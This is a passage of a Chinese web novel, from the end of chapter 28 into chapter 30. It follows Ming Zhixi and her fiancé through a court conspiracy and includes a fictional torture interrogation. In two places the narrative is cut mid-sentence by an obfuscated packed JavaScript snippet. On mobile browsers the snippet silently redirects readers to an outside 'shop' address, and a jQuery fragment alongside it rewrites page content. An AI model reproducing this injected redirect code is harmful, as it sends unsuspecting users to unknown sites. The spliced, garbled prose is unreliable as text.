谢槐池不清楚明枝溪究竟是真的知道幕后之人是谁,还是在诈太监,只好顺着她的话,不疾不徐道:“我收起来了,一时间有些忙忘了,晚些拿出来给你。” “你现在去拿吧,我现在就想要。”明枝溪撒娇似得蹭了蹭谢槐池的腰间。 一阵酥麻感涌上谢槐池的心头,他对明枝溪这举动从来都是没有抵抗力的,只好摸了摸明枝溪的头道:“那我很快就回来,你等我。” 明枝溪乖巧地朝着谢槐池笑了笑,目送他离去。 谢槐池走出门时,送给了赵康时一个眼神,让赵康时觉得有些头皮发麻,瞬间端正了坐姿,可他仔细思考了一番,自己是皇帝,凭什么受他摆布,于是又换回了原来的坐姿。 他一脸不屑地看向面前的太监,谢槐池倒也是没有过多计较,挺拔的身姿消失在门外。 明枝溪见他一走,表情瞬间转化为凶狠,像是路边的一座野观音,满是煞气:“你还不打算说吗?” 太监本是被她突如其来的举动弄得有些摸不着头脑,可谢槐池一走,他便感受到了浓重的,毫不掩饰的杀意,想逃却又被牢牢锁住。 “你要我说什么..”太监想着给自己壮胆子,可眼神刚与明枝溪对视上,便败下阵来,有些不可置信的继续说,“你..好会装啊,我还以为明丞相嫡女真是一个恪守妇道的姑娘。” “没想到啊,明枝溪,你这样装很累吧!” 明枝溪露出一副微不可查的笑,打趣道:“哪有你能装啊,对啊,我把那玩意给你拿回来你都装不上。” “你!”太监怒不可遏的喊,却又不知该以什么样的话术回怼。 赵康时听了倒是一点也不藏,笑得比谁都响,屋内本就没有什么桌子椅子,只有面前的一套刑具与一张简陋的床,屋子又大,赵康时的笑声便如同天外传音,回荡在太监的耳廓周围。 “刘闻,愣着做什么,既然公公不愿意说,那就只好用些手段了,来点不痛苦的吧,既然这张嘴什么也不说,那就先从牙开始吧。”明枝溪低着头,满不在意地看着自己洁白修长的手指。 刘闻听了点了点头,二话不说拿出钳子将太监的嘴撬开,硬生生拔了一颗牙下来,丢进了火盆。 太监的惨叫声回荡在屋内,士兵们纷纷往后倒退几步,目光灼灼看向明枝溪,实在想不到一个看似娇柔的小女娘,居然能想出这些办法折磨犯人,不禁为了谢槐池擦了把汗。 赵康时还是第一次见到明枝溪这般,小心翼翼的看向明枝溪的背影,调整了坐姿。 “你!好啊,我倒是小瞧你了,无芦村是吧,是我干的,怎么?有本事你杀了我!”太监满口的血随着他的话语迸出,溅射在地板上。 “嗯,我知道是你干的。”明枝溪不在乎周围人对她的看法,接着道,“说点有用的,是我想的那个人让你干的?” “我怎么知道你想的是谁?”太监喊道。 明枝溪略微抬手,刘闻心领神会,再次拔了他一颗牙,太监惨叫着扑腾双手。 “那你倒是招供啊,你招供了,不就知道我想的那个人,是不是你想的那个人了?”明枝溪礼貌地笑着,这副笑刻进了太监的脑海中。 “我没见过那位大人,我怎么知道你想的是谁!”太监依旧嘴硬。 “看来还是不够啊,继续吧。”明枝溪蹙着眉。 “等等等,你想的那个人是不是契丹人?”太监实在有些搞怕了,挥舞着双臂喊叫着,刘闻见状也放下了钳子,站在一旁等候。 “嗯,看来是那个畜生,继续交代吧,谢大将军的死也是你干的吗?”明枝溪轻描淡写地一句话,太监听了却如芒在背。 太监不可置信地抬起头看向她,语气满是哀求:“我要是说了,你能不能放我一命。” 明枝溪勾起嘴角:“好啊,你要是全都交代了,我不仅放你一条命,我还给你白银三万两,让你回乡养老。” “好!”太监答应得极其快,生怕明枝溪会反悔,“是我干的,不对,是那位大人让我干的,我不知道他哪来的情报,知道圣上不让谢大将军回京,于是让我去假传圣旨。” “我也是宫里的老人了,谢大将军还真就信了我这三言两语,在他们准备收营回京时,我烧掉了粮草,那位大人才有可乘之机。”太监说完好似有些怕明枝溪气急眼了,将他一剑杀了。 于是他接着补充:“都是他让我干的,我也是有苦衷的啊,我年轻时留有一子,也算是留后吧,我不能没有银子养他啊,所以我只能这么干,没有哪里会要一个太监去打杂工吧。” “明姑娘,你放了我,不要杀我了,都是那个男的,那个畜生,是他让我这样做的!” 明枝溪了然点了头,不理会他的求饶接着问:“那你说的我父亲是杀害谢大将军的凶手又是怎么回事?” “这..是那位大人告诉我的,一旦被抓就混淆视听,我不是有意破坏你们感情的,你们百年好合。”太监露出一副‘我都懂’的表情,贱兮兮的。 明枝溪活动了一下脖颈:“那你说明日这件事情就会全城皆知?” “呃..是这样的,但是我不知道后面他要做什么了,我真的不知道了,我能说的,不能说的我都招了!我发誓!”太监贱兮兮的笑着,满脸的褶皱堆在一起,明枝溪有些反胃。 “好,鉴于你这么‘忠诚’,我需要你帮我办点事,你乐意吗?”明枝溪嘴角不自然地向上勾起。 谢槐池拿到玉佩,匆匆赶回,一进屋便看见吓傻了的赵康时与他的一众仆人瑟缩在角落中,不解地看向他们眼神望向的方向。 鲜血飞溅,墙面,天花板统统都沾满血迹,明枝溪浑身是血,靠坐在轮椅上,气喘吁吁,而地上有一滩看不出来是什么的烂肉。 谢槐池缓缓走进,手扶上了明枝溪的肩,冰凉如雪,明枝溪感受到重量,侧身抬头看向谢槐池。 明枝溪的脸颊上有密密麻麻的血点,她仍然在大口喘气,血珠凝聚成一大颗,缓缓滚落在地,只听她微微带上笑颜,语气有些自责道:“对不起啊哥哥,又把你给我买的衣服弄脏了。” 谢槐池瞥了一眼站在一旁的刘闻,他倒是没什么表情变化,只是周围的士兵都是捂着嘴,一副要吐不吐的样子。 赵康时缓缓站起,小心翼翼地看着谢槐池:“能审的她都审出来了,你自己问她吧,我宫中好像还有奏折,我也不能离宫太久的,我先走了,回见啊。” 话音刚落赵康时便急匆匆跑了出去,身后还跟着一群人,刚一出门,一阵阵呕吐声便向着屋内传来,场面有些滑稽。 “你没事吧。”谢槐池回过神望向明枝溪,“你没有受伤吧?以后这种事情交给我来就好了。” 明枝溪也不知道自己有没有误伤自己,只得道:“我不知道哥哥。” 眼神楚楚可怜,谢槐池倒是也没管周围人脸上的神情,推着轮椅到了院内的一处偏院,婢女纷纷低垂着头往屋内的浴池中一盆盆的灌水。 谢槐池眼神担忧看向明枝溪,血水流了一路,他半弯着腰,仔细检查着明枝溪每一处裸露出来的皮肤,确认没有伤口后道:“给你准备了热水,你先去洗洗,就这样给你送回府,你爹娘怕是觉着我欺负你了。” 明枝溪斜侧着头看向谢槐池问:“如果明日说我父亲害了你父亲这件事情传开了,你还会娶我吗?” “你说什么呢,我会娶你的,就算这件事情是真的,我也会娶你,我喜欢的,我爱的,是你,不是你父亲。”谢槐池半跪在明枝溪面前,脸上挂着温柔的笑。 “那我先冲洗下,哥哥你等我哦。”明枝溪终于露出真心实意的笑。 —————— 经过一番洗浴后,明枝溪倒是发现自己身上还有几处伤,刚泡进浴池中便往外冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571536|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血,明枝溪心中想着:刚刚砍的太激烈了,下次注意些吧。 “哥哥!”明枝溪躺在浴池中喊道,“我受伤了哥哥!” 谢槐池本坐在屏风后默默看着屏风上倒映的身影,听到明枝溪说自己受伤了,急忙将屏风推开,只见浴池中的水已经被染红,变成了一池子血水。 谢槐池将明枝溪从浴桶中抱起,只见她身上□□,耳根红了又红,明枝溪现在倒是一点也不羞涩,双手搂着谢槐池的脖子,静静的趴在他的肩头上。 谢槐池将她放在床榻上,只见明枝溪雪白的胳膊上有一条血窟窿,正在往外渗血,谢槐池动作熟稔的从一旁的柜子中拿出纱布药粉等。 仔细地将伤口处清理干净,撒上止血药粉,明枝溪疼得瑟缩一下,谢槐池很强硬地握住她的胳膊,语气虽有一些气恼,却还夹杂着说不清的疼惜:“如果你以后还要干这些事情,能不能先保护好自己。” “哥哥~”明枝溪侧着身撒着娇,“我不是故意的,只是一时间太气了。” “你..”谢槐池终究是说不出口责怪的话语,耳根泛着深红,动作迅速包扎着伤口。 “嘿嘿,哥哥你对我最好了。” 包扎好伤口,谢槐池不知从哪又拿出一套衣裳,侧过脸递给明枝溪:“你先把衣服穿好,小心着凉。” 明枝溪接过衣服,脸上也泛起红晕,口中却嘟囔着:“看都看过了还装什么矜持。” 这极小声的嘟囔传进了谢槐池的耳朵中,他回过头看着正穿着衣服的明枝溪,一言不发。 明枝溪被他这动作吓了一跳,连忙将衣服捂住胸口道:“怎么了,哥哥你..你看什么呢!” “你不是说看都看过了装什么吗?”谢槐池一本正经的看着明枝溪的双眼。 这都能听到,明枝溪心想。 “我开玩笑的,你快转回去。”明枝溪垂着头,浑身泛红。 谢槐池这才听话的转过身:“我希望我们成亲后再..再有肌肤之亲,所以在这之前我不会碰你的。” 明枝溪迅速换好衣裳对着谢槐池道:“好,我的谢大将军,那你可要快些了。” 看她换完衣裳,谢槐池这才转过身,屋内的门被打开,赵康时红着脸走进来,支支吾吾的挠着头:“你..你们..哈哈,打扰了。” “你怎么还在这?”明枝溪记得赵康时那时说要走了,结果莫名其妙出现在屋外,还满脸通红,与明枝溪如出一辙。 “谢将军让我留下来了,说是商量对策,我没偷听你们说的话啊,绝对没有,不要杀我灭口。”赵康时向后方缓慢退去,撞上了一个结实的人。 他缓慢转头,刘闻站在那儿面无表情的盯着赵康时,他急忙向里退去,老实的找了个地儿坐下。 “说说吧,方才审出了什么,这样才好应对幕后之人的计策。”谢槐池坐在床沿边上,明枝溪将头靠在他的肩膀上。 “给我下毒的那个黑衣人应当是幕后之人,只是不清楚他是谁,也不好查。他是契丹人,以后需要留意,旁的也没什么了,毕竟事情都是他做的。”明枝溪声音有些嘶哑,稍微清了清嗓子。 “如果人真的是他,那么他这么做的目的就很简单了,我不说大家应该都知道吧。” 赵康时见三人对自己并没有杀意,赶忙正色道:“是啊,明日就是散播谣言,称明丞相通敌叛国,害死了谢大将军,不论如何,明日早朝还请枝..明姑娘同家父商量好。” “不论我说什么他只管答应,将计就计,莫要破坏了他的计划。” 明枝溪思虑一番后开口:“这怕是有些难,除非我能将你变成圣上的事情告诉他。” 谢槐池用脸蹭了蹭明枝溪的脑袋,随意开口道:“说吧,不用瞒着丞相。” 赵康时瞥了一眼谢槐池,随后急忙收回视线:“对啊,没事的,反正我只是一个孤家寡人,没有人在意我的生死—” 尾句拖长,谢槐池倒是分给他一个冷冰冰的眼神,让赵康时立马捂住自己的嘴,不敢继续开口。 “你想表达什么?如果没什么想表达的你还是回你的皇宫去吧,孤家寡人。”谢槐池没好气道。 赵康时撅起嘴,摆摆手道:“走就走,我还不想待在这儿,看你们卿卿我我呢。” 他边说边走出门,刚迈出门槛一步,就以极快的速度消失在尽头。 谢槐池站起身,抱起明枝溪,将她放回轮椅上道:“我送你回去。” “哥哥,其实我自己可以走的。”明枝溪小声道。 “但是,我想抱你。”谢槐池嘴角轻轻勾起,侧过身低下头,在明枝溪的脸颊上落下温热的一吻。 明枝溪将头低得下巴都快贴着自己的胸膛了,只得宽慰自己:好好想想一会儿怎么同父亲解释,不要想这些乱七八糟的了。 不一会儿两人便到了丞相府门外,小玉正站在门外看着两人缓缓走来,不禁甜蜜地嘿嘿笑着。 29. 第29章 谢兄可以走门 冬日的天色黑沉的快,两人道别后,明枝溪被小玉推着向雪竹院走去。 走到一半时明枝溪忽的问:“父亲呢?” 小玉:“在书房呢,这些日子主君忙的很,日日不离书房。” “带我去找父亲吧,我有要事同他商量。”明枝溪攥紧衣袖,她也不知说当今圣上是赵康时这荒谬的结论,明衢会不会相信。 书房内灯火通明,外边的小厮不见人影,只留下了一个明衢的心腹,明枝溪望着院内只剩下他一个不禁问道:“德顺,怎么就你一人在这当差?其他人呢?” “回姑娘。”德顺微微欠身,“这是主君的安排,小的也不知,不如我替您禀报,您亲自去问?” 明枝溪略微思索番,点点头道:“好,劳烦你。” 德顺二话不说便推开门,里头传来交谈声,不一会儿德顺缓缓走出做了一个‘请’的手势道:“姑娘您进去吧,小玉在外等候便是。” 明枝溪拄着拐杖站起来,缓步走进,明衢坐在书案前一脸焦躁,书案上横七竖八摆放着一堆堆文书,屋内没有点炉火,却温暖如春。 “你来啦,诶!”明衢听到脚步,放下手中文书,抬起头望向明枝溪,见她没坐轮椅不禁心生焦急,“你怎么不坐轮椅,快快,坐下吧。” 明枝溪面带着笑答道:“爹爹,我已经能走了,又不是真残废了,我如今比以往能走的距离,多出好几里去了呢。” “你还跟我贫嘴,不管能走是否都要注意休息!”明衢搬来一张椅子放在明枝溪身后。 明枝溪顺势坐下,两只手搭在拐杖上转圈圈:“爹,为何外头只有德顺一人啊?” 明衢坐回位置上迟迟没有开口,好似完全没听见明枝溪的话语,自顾自忙着手中的活。 “父亲!装聋卖傻对我可没用。”明枝溪有些气恼,语气里还带着些撒娇的意味。 “这...你看这个。”明衢随手拿起一幅画,在背面上写了一行字,递到明枝溪眼前。 上面写着‘小心隔墙有耳’,明枝溪眯起眼,很快便反应过来明衢想表达的意思了,应和着道:“真是一幅好画呀,父亲藏着掖着就怕这画给我拿了去吗?好没意思。” 说话期间明枝溪拿起笔在画背上写着‘父亲怀疑有奸细?’。 明衢重重点头,紧接着写下‘消息不翼而飞’。 明枝溪顿时皱起眉头,思考着怎么才能解决这个问题,毕竟接下来她要说的话还长,总不能一直在画上作答。 可想了一阵子后,她还是放弃了,试探性在画背上写‘圣上是淮王’。 明衢看了一眼画上的字,顿时呆愣在原地,犹如石化般,大声说道:“怎么会呢!好东西当然是要给我的宝贝枝溪啊!” 明枝溪早就料想他不会相信,顺着明衢话道:“爹爹就是这样想的吧。” “不可能不可能,给你给你。”明衢在纸上写下‘此话当真?’随后递给明枝溪。 明枝溪轻点头,在纸上写道‘不管爹信不信,明日早朝通敌叛国,请唯命是从’。 明衢眼珠子都要瞪出来了,苦笑着脸写‘这不是要为父死吗?’ ‘死不了信我’明枝溪写下这五个字后,顺手拿起摆在一旁的画说道:“诶呀,那女儿就不推辞了,先告退了。” 说着她杵着拐杖拿着画,一瘸一拐朝着门外走去,坐上了轮椅后对着德顺道:“天气冷了,给父亲泡些菊花茶吧。” 德顺行礼后匆匆离去,明枝溪对着小玉道:“你去将此画交给我哥,记住让他别瞎叫唤。” 小玉并看不懂画上的文字,更看不懂画上的含义,笑着领命道:“那姑娘自己回去小心些。” 明枝溪看着身下的轮椅,沉沉地叹了口气,随后她走下轮椅,一步步向着雪竹院走去。 漆黑的天再次开始飘雪,比初雪更加猛烈,短短片刻便将京城遮得雪白,树枝上的积雪层层滚落,堆积在泛黄草地上。 由于没有坐轮椅,明枝溪走得不算快,明明就几步路却像是走在一条无尽的不归路一般,一道人影从围墙上落下,目光直直看向明枝溪。 “你怎么又来了,真当这是你家啊?”明枝溪看向面前身披狐裘的妖艳男子,见多了,眼里反而也没了紧张感。 妖艳男子缓缓靠近道:“你不怕我又对你做什么?” “你要是想对我做什么,会这样光明正大的出现在我面前?好像从后面偷袭胜算更大吧,不过嘛..反正我现在都是废人了,你要是想从前方突袭,也不是没可能。”明枝溪杵着拐杖,见对方向着自己靠近,身体本能地开始后退。 “所以我夸你聪明,我都出现在你面前了,没有什么想问的?”妖艳男子驻足,随意靠在白墙上。 “我问你就说?”明枝溪紧绷的身体还是足以表明她此刻的心情,说不怕是假的,明枝溪现在手无缚鸡之力,面对一个比她高大出不知几倍的男子,毫无胜算可言。 “说不准呢?你试试,我今日心情好。”仔细一看他竟然在把玩着手中的短刀。 这叫心情好?敢情像是取我性命啊,明枝溪暗自腹诽。 “你叫什么名字?”明枝溪想着问有用的情报他也不一定会给,不如就问些没用的。 “这个问题我拒绝回答。”妖艳男子回答道,后又似乎思索一番,接着开口,“不过嘛...你可以叫我思思。” 像是女人的名字,明枝溪想着,口中说:“哦,那你来这里做什么,自投罗网?” “哼。”思思冷笑一声,“你以为现在的你能对我产生什么威胁?别做梦了。” “所以?你究竟来做什么?”明枝溪冲着她翻了个白眼,看向空中时,小白正以极快的速度朝着远方飞去。 “来欣赏你,我最满意的作品。”思思挑起眉看向明枝溪,“只是你比我想象的更软弱,这副毒对你的影响力是我没想到的。” “什么意思?”明枝溪蹙起眉,谨慎看向他,站着有些久了,腿逐渐开始发酸,明枝溪依旧强撑着,不露出一丝撑不住的破绽。 “你不用装了,你把拐杖丢掉,连站都站不起来不是吗?”思思的语气带着一丝戏谑。 明枝溪再次退后几步:“你怎么做到监视我,还不被我发现的?” “我不想回答你的这个问题,因为这是一个秘密。”思思话音刚落缓步朝着明枝溪走来,短刀飞出,拐杖被打落在地。 顿时明枝溪的重心不稳,重重跌倒在地,明枝溪倒也放弃了向后退,认命般道:“如你所愿,怎么?你还要逼着人站起来?” 思思蹲下拿起短刀,刀尖将明枝溪的脸抬起,他高高抬起手,明枝溪静静闭上双眼,预料的疼痛并没有降临,反而是一滴滴温热刺鼻的血,滴落在明枝溪嘴边。 明枝溪睁开眼,思思划开了自己的手掌,血如同水柱般滑落,滴进明枝溪的口中,她不解,更多的是厌恶,明枝溪下意识抬起脚踹出去。 没想到还真能动了,一瞬之间思思便倒退几步,躲开了明枝溪的腿,他随手从广袖中拿出纱布,一圈圈缠绕着自己的手掌:“我救你,给你解药,你就这样报答我?” “什么解药?我听不懂你在说什么。”明枝溪蹙着眉,嘴周围的鲜血使得她十分恐怖,她捡起掉落在地的短刀,一跃而起站在思思面前。 明枝溪随手擦着脸上的血迹,洁白的衣袖顿时染上一片猩红:“你说你的血是解药?你怎么不拿自己试毒?用旁人试毒很有意思?” “是很有意思,你就算恢复了也打不过我,不过,我没有和你比武的想法。”思思说着转身跳上围墙。 面前忽然出现一道人影,思思只得跳落回原地,看清来人,他挑起一只眉:“谢小将军,此事似乎同你并没有关系。” “你不是会调查吗?怎么?没有查到我与枝溪定亲的消息?不是会跟踪吗?没看见我与枝溪同床共枕?你真废物,现在你觉得她的事情与我有没有关系?”谢槐池脸色阴暗,站在围墙上俯视着思思。 随后跳下与明枝溪相伴左右,思思站在原地,听了谢槐池说的这一番话,神情有些厌恶,仿佛面前站着的不是一个人,而是一坨不明状物体。 当然谢槐池也是这般看他的,不等思思开口,谢槐池将腰间配剑抽出,猛地向前方刺去。 思思反应迅速,刹那间便将配剑抽出,正面接下谢槐池这一剑,嗡鸣声回荡在明枝溪耳边,一时间明枝溪不知是否要上前帮忙了,万一帮了倒忙。 谢槐池每一剑都直击要害,是真想置对方于死地,两人打得有来有回,谢槐池招招强势,而思思却是丝毫不落下风。 这样也不是办法,明枝溪冲上前,拿着短刀侧身躲过对方劈砍来的一剑,一刀扎在思思的手臂上,对方吃痛出声,猛的向后退了几步。 “你们二打一,不公平。”思思撇着嘴说,手上却有些小动作。 “他要跑!”明枝溪看清思思手中的小动作喊出声,却已经来不及了,一阵烟雾飘起,明枝溪遮住口鼻,目光找寻着谢槐池。 谢槐池同样也找寻着明枝溪,他双手胡乱在雾气中摸着,刚摸到明枝溪的的衣摆,便将她抱起,离开了烟雾中。 “枝溪,你没事吧。”谢槐池看着站在自己面前、头发被烟雾染白、一半脸上沾满白色粉末的明枝溪。 明枝溪伸出手摸了摸谢槐池身上的白色粉末,凑到鼻间闻一闻,竟然只是面粉。 什么古怪的恶趣味,明枝溪想着。 明枝溪看着面前浑身泛白的谢槐池,没忍住笑出声,用手拍着他衣袖上以及脸上的面粉道:“放心,我没事,我现在甚至都能一直站着了,就是普通的面粉。” 谢槐池愣了愣,松开了环抱住明枝溪的手,小心翼翼地将她脸上的面粉拍打掉,看着明枝溪露出笑忍不住扬起嘴角,一同笑起来。 明子晋正拿着画找明枝溪,刚走进这条小道便听见前方传来的笑声,不解的向前赶去,正好撞见两人互相拍打对方。 “你们..你们..你们注意点形象!”明子晋怔在原地,迟迟憋出这句话,当他看清眼前的景象后问道:“你们俩打了一架?” 谢槐池面上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574197|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着笑:“你们这偌大的丞相府怎么平时连看守的人都没有。” “有啊,怎么可能没有?”明子晋话音未落。 后方便急匆匆传来一句:“子晋,有贼人!快去看看...” 明衢走至明子晋身旁,明衢看着面前的两人,老脸一红:“咳咳,你们俩还是要注意些,谢小将军若是要见小女,不妨直接进来,何须打晕那些看守的人呢。” 明枝溪:?? “明丞相,有没有一种可能,那不是我干的?”谢槐池收住笑,露出一副欲哭无泪的神情。 明枝溪跟着说:“父亲,是那个黑衣人干的,现下他已走远,想必一时半会儿回不来,要不你就好好培育一支暗卫看守吧,靠着那些人,自己家都跟别人家一样,想来就来想走就走。” “此事我会考虑的,今日多谢谢小将军了。”明衢微微欠身道。 “无事,以后自然是亲家,说什么谢不谢的。”谢槐池极为自然的说出这句话,面上重新挂上笑,“我想这婚事还是早些办吧,我们家没有守孝的习俗,我爹要是还在肯定也希望我早日成亲吧。” 明枝溪偷偷望向谢槐池,正巧与那双眼眸对上,明枝溪急忙收回视线道:“父亲且看明日之事如何定夺,再商量也不迟。” 明衢还未开口,谢槐池便继续道:“那我先回府了,你早些休息,有什么事情尽管来找我。” 说着他便要再次翻墙而走,身形未动,明子晋急忙打断:“谢兄可以走正门。” “哦哦,不好意思,我忘记了。”谢槐池尴尬地挠着头,嘿嘿笑着,朝着正门走去,时不时回头斜睨明枝溪一眼。 明枝溪定定地看向面前的两人问:“你们两个还不走?” “虽然为父知道你从来都是装贤良,但是能不能多装一会儿...”明衢苦着脸道。 明子晋早就知道他这妹妹主意大得很,只剩最后一幅模样没见过,那就是打打杀杀的模样,所以见到明枝溪袖口上的血,明子晋不禁扶额道:“你还真是什么都来点...” 明枝溪挑眉道:“所以你们希望我能贤良淑德?放心出去的时候不会丢了你们面子的。” 明子晋轻摇头道:“我们不是这个意思。先这样,我们去你院中好好聊聊,关于……圣上是淮王这件事情。” 明枝溪点头,三人向着雪竹院走去。 成群的竹林陪着落雪,真就与院名十分搭配,一片片鹅毛大的雪花落在院中,玉兰树只剩下光秃秃的树枝,雪花落在上方像是在冬日里开了花一般。 屋内暖炉烧的正旺,刚一打开门一股暖流便扑面而来,明枝溪是不怕冷的,自然不觉得在外头有多寒冷,一进到屋内便将身上披着的狐裘摘下,放置一边。 而明衢与明子晋这对父子俩,由于出来的急,连狐裘都没有,这回已经冷到瑟瑟发抖了,刚一踏进屋内,两人便蹿至暖炉边,烘烤着身子。 明枝溪将今日谢槐池同她说的话转述了一遍,忽然拍了拍脑门:“早知道让他和你们说了,这个狡诈的狐狸。” 而父子俩正站在暖炉边沉思着,一句话也说不出来,小玉在外头敲敲门问:“要添些炭火吗?” 明枝溪刚想说不,父子俩听了齐口同声喊道:“要!” 门缓缓被推开,小玉手中拿着篮子,向着暖炉中添加炭火,不一会儿本奄奄一息的火苗再次燃烧,两人情不自禁地靠近了一些。 待到小玉出门后,明衢说道:“你的意思是现在的圣上是淮王假扮的?” “厉害厉害,怎么做到的。”明子晋附和着。 “不知如何办到的,总之相信他们吧,我觉着明日也许是罢官免职,告老还乡,父亲这几日先将明映与我的婚事处理妥当,再告老还乡,回苏州陪祖母带个几年,事情一结束便能官复原职。”明枝溪一一答复着。 “这保真?我真怕是杀头的罪过。”明衢叹出一口浊气,摇着头,“没想到啊,自己勤勤恳恳忙碌一生,只能落下这个下场,唏嘘啊。” “那我呢?有没有什么要交代的?”明子晋被明衢遮挡,连忙探出脑袋问。 “你如往常一般,别为了旁人言语影响心智便好,待我找到那思思的老巢,一切便能清晰明了。”明枝溪认真道。 父子俩怔了怔,不可思议地道:“那个男的是女的?” “什么男的是女的?他说让我叫他思思,我总不能成日黑衣男黑衣男的叫吧,不过这名字确实有些...”明枝溪露出一副难以言喻的面容。 “好了,时候不早了,父亲今夜早些睡,兄长回去照顾雪晴,我要睡觉了。”明枝溪站起身,随手从角落中拿出两把伞,“拿好,可别得了风寒。” “你要是一直都这样温柔体贴就好了。”明子晋开着玩笑道。 “爱要不要,不要我拿走了。”明枝溪作势要收回伞。 明子晋急忙接过伞道:“要要要,你不要这么小心眼...” 说着便一把将伞抽出向外跑去,毕竟明枝溪那战斗力对付别人可能有些弱,但是对付他,绰绰有余。 30. 第30章 雷打雪 明衢看着明子晋跑远,无奈的摇了摇头,随后接过明枝溪的伞道:“为父先回去了,你注意休息,凡事不要太勉强自己。” 明枝溪看向自己那双腿道:“我真的没有勉强,已经好了,就是不知为何思思要如此。” “黄鼠狼给鸡拜年,他若是有心何须给你下毒。”明衢神情凝重,语气带着些气愤,手不自觉的紧握了伞柄。 “好了,父亲莫要想这些,不如好好想想明日的应对之策。”明枝溪以笑回应。 明衢觉着自己的心中涌上一股暖流,呼出一口气后道:“嗯,你长大了,不如让你那些暗卫护着丞相府?” “你知道啊?”明枝溪几乎是第一时间就说出这句话。 明衢哼哼笑起来:“你说呢?就你那些小伎俩,你爹我都看在眼里,有句俗语是‘姜还是老的辣’,你个小兔崽子怎么能和我这个老兔崽子比。” 明枝溪一时间没崩住笑,哈哈一声就笑出来,明衢狐疑的看向她道:“怎么?为父觉得自己说的很有道理。” “是是是,有道理,快回去睡吧!”明枝溪应付着,双手将明衢往外推。 明衢倒也没觉得哪里不妥,自己也朝外边走去,站在外廊上撑开了伞,喃喃着:“今年的雪来的格外的早啊,是祥瑞呢,还是妖孽呢。” 他撑着伞,一只手背在身后,独自一人朝着院外走去,明枝溪见明衢一走,转身回屋将自己的这身脏兮兮的衣服脱下来。 换了里衣后明枝溪向外喊道:“茉莉。” 茉莉缓步走进,脸上红扑扑的,站在那儿等着明枝溪吩咐。 “你将这身衣服拿去洗了,明日一早务必洗好,一定洗干净些,若是血迹真洗不掉那就去衣坊看看有没有一样的。”明枝溪将衣服递给她,念叨着。 “是。”茉莉接过衣服,但是并没有退下,只是定定站在那儿。 明枝溪正欲转身,见她一动不动疑问道:“怎么了?” “姑娘..我能在屋内烤火吗?外面好冷。”茉莉露出水汪汪的眼睛,直勾勾看向明枝溪。 明枝溪扶额:“你还真是跟小玉学坏了..罢了,你去拿个暖炉放在外头吧,今个儿确实是天寒。” 茉莉紧抱着那身衣服,一脸感激道:“谢谢姑娘,姑娘对我们最好了!” “好了好了,别拍马屁了,快去吧,顺便把门带上。”明枝溪正说着,忽然想到思思这行踪不定的‘鬼’,补充道,“若是有危险只管自己跑,不用管我。” “可是..” “没有可是,我有自保的能力,你被抓住是真的玩完了。”明枝溪语气郑重严厉。 茉莉点头应付着,怯生生向着门外走去,关紧了屋门。 明枝溪躺在床榻上思索着今日发生的一切,不一会儿便沉沉睡去。 —————— 翌日清晨,天还未亮,明枝溪做了个噩梦,虽然已经见怪不怪,但还是梳妆换衣后急忙朝着明衢的书房走去,推开门,见明衢已换好了官服,正坐在铜镜面前挑着白发。 明衢听见动静,手中还攥着一撮白发,一转头,手拉扯发丝,明衢顿时发出‘嘶’的声响,用手轻轻抚摸着被拽痛的地方问:“枝溪醒这么早啊。” 明枝溪眼神晦暗,看向明衢眼底下的乌青,以及鬓角苍白的发丝,露出心酸的神情,片刻后才开口:“父亲又是一夜未眠吧。” “呃,你如何看出的?”明衢看向铜镜,左右摇摆着头部,“我觉着很精神啊。” 明枝溪站在那儿,看不出什么神情:“反正都要东窗事发,父亲何必再批改文书?留给后来之人便好了。” 明衢站起身走向明枝溪,轻轻拍了她的肩膀道:“这不是为了下一个坐上这个位置的人能赶快胜任吗。” 明枝溪眼角闪着亮光,她伸出手拂去,佯装困顿:“父亲今日一定注意安全,不要被有心人利用,我知道父亲您很倔强,到时一定会反驳怒斥,可今日就听女儿的,不要有所举动了。” 明衢面带微笑,语气带着微不可查的颤抖:“好,听你的。” “一定要听我的,不要驳斥!这样赵康时也无能为力,我们会保不住你的!”明枝溪再也控制不住自己的情绪,窝在明衢的怀中哭泣。 博英风站在门外,犹豫片刻后才缓缓走进,从后方抱着两人,轻声道:“会没事的,不必担心。” “是啊,不哭了枝溪,我的好宝贝,你看你昨晚是不是没睡好,睡不好以后老的快,跟爹一样不好看,再回去睡一会儿,爹一定完完整整回来见你。”明衢抚摸着明枝溪的脑袋,动作轻柔。 明枝溪松开环抱住明衢的手,她垂着头站在那儿,一步三回头向着雪竹院走去。 博英风目送她离去后,对着明衢道:“官人一定要这样吗?” “嗯,苟存一身安稳,却污一世清名,我一生清白,从不畏惧人言,但我只求心正,若蒙冤不辩,非我本心也。”明衢声音有些嘶哑,屋外乌云密布。 一阵冲天闪电划过四方天地,在雪天时节罕见地打了一个响彻天地的雷,两人站在屋外,看向天外本渐亮的天光在一瞬重回黑暗。 和音仪匆匆赶来,眼角淡红一片:“官人,你一定要听枝溪的话,算我这辈子第一次求你,不要做其余事情好不好。” 明衢答非所问,手指向天上,轻声道:“你看,雷打雪。” 话音刚落,一片雪花缓慢落下,伫立在明衢的手指尖上,片刻后消融殆尽,和音仪看向天空,沉默的点了点头,转身离去。 只留下来一句:“我知你心意已决,不必强求。” 博英风眉头向上,紧握住明衢的手,温和道:“我会打理好的..你安心。” 